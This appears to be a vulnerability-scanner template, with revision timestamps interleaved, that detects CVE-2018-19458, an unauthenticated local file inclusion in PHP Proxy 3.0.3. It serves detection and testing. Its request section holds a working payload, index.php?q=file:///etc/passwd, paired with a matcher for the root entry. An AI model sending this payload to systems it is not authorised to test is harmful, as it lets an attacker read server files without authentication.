2021-08-05 22:54:02 +00:00
id : CVE-2018-19458
info :
name : PHP Proxy 3.0.3 - Local File Inclusion
author : daffainfo
severity : high
description : In PHP Proxy 3.0.3, any user can read files from the server without authentication due to an index.php?q=file:/// LFI URI, a different vulnerability than CVE-2018-19246.
2021-09-02 08:03:02 +00:00
reference :
2021-08-05 22:54:02 +00:00
- https://www.exploit-db.com/exploits/45780
- https://www.cvedetails.com/cve/CVE-2018-19458
2022-06-18 08:05:25 +00:00
- https://www.exploit-db.com/exploits/45780/
- https://pentest.com.tr/exploits/PHP-Proxy-3-0-3-Local-File-Inclusion.html
2021-09-17 06:03:58 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-06-18 08:05:25 +00:00
cvss-score : 7.5
2021-09-17 06:03:58 +00:00
cve-id : CVE-2018-19458
cwe-id : CWE-287
2022-06-18 08:05:25 +00:00
tags : cve,cve2018,lfi,proxy
2021-08-05 22:54:02 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/index.php?q=file:///etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
2022-06-18 08:05:25 +00:00
- "root:.*:0:0:"
2021-08-05 22:54:02 +00:00
- type : status
status :
- 200
